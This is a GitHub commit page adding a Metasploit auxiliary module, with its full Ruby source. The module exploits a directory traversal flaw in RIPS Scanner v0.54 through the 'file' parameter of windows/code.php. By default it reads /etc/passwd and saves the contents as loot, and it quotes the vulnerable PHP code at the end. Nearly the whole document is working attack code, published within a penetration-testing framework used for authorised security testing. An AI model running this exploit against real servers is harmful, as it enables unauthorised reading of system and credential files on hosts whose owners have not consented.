Skip to content

Commit 79b2a23

Browse files
committed
Land rapid7#5015, @espreto file traversal scanner for RIPS
2 parents e729185 + ce6e5e1 commit 79b2a23

File tree

1 file changed

+103
-0
lines changed

1 file changed

+103
-0
lines changed
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'RIPS Scanner Directory Traversal',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability in the RIPS Scanner v0.54,
19+
allowing to read arbitrary files with the web server privileges.
20+
},
21+
'References' =>
22+
[
23+
['EDB', '18660'],
24+
['URL', 'http://codesec.blogspot.com.br/2015/03/rips-scanner-v-054-local-file-include.html']
25+
],
26+
'Author' =>
27+
[
28+
'localh0t', # Vulnerability discovery
29+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(80),
37+
OptString.new('TARGETURI', [ true, "The URI path to the web application", "/rips/"]),
38+
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
39+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])
40+
], self.class)
41+
end
42+
43+
def run_host(ip)
44+
traversal = "../" * datastore['DEPTH']
45+
filename = datastore['FILEPATH']
46+
filename = filename[1, filename.length] if filename =~ /^\//
47+
48+
res = send_request_cgi({
49+
'method' => 'GET',
50+
'uri' => normalize_uri(target_uri.path, 'windows', 'code.php'),
51+
'vars_get' =>
52+
{
53+
'file' => "#{traversal}#{filename}"
54+
}
55+
})
56+
57+
if res &&
58+
res.code == 200 &&
59+
res.headers.include?('Set-Cookie') &&
60+
res.body.length > 304
61+
62+
html = Nokogiri::HTML(res.body)
63+
html_clean = html.search('.codeline').text
64+
print_line("#{html_clean}")
65+
66+
fname = datastore['FILEPATH']
67+
68+
path = store_loot(
69+
'rips.traversal',
70+
'text/plain',
71+
ip,
72+
html_clean,
73+
fname
74+
)
75+
76+
print_good("#{peer} - File saved in: #{path}")
77+
else
78+
print_error("#{peer} - Nothing was downloaded")
79+
end
80+
end
81+
end
82+
=begin
83+
102 $file = $_GET['file'];
84+
103 $marklines = explode(',', $_GET['lines']);
85+
104
86+
105
87+
106 if(!empty($file))
88+
107 {
89+
108 $lines = file($file);
90+
109
91+
110 // place line numbers in extra table for more elegant copy/paste without line numbers
92+
111 echo '<tr><td><table>';
93+
112 for($i=1, $max=count($lines); $i<=$max;$i++)
94+
113 echo "<tr><td class=\"linenrcolumn\"><span class=\"linenr\">$i</span><A id='".($i+2).'\'></A></td></tr>';
95+
114 echo '</table></td><td id="codeonly"><table id="codetable" width="100%">';
96+
115
97+
116 $in_comment = false;
98+
117 for($i=0; $i<$max; $i++)
99+
118 {
100+
119 $in_comment = highlightline($lines[$i], $i+1, $marklines, $in_comment);
101+
120 }
102+
121 }
103+
=end

0 commit comments

Comments
 (0)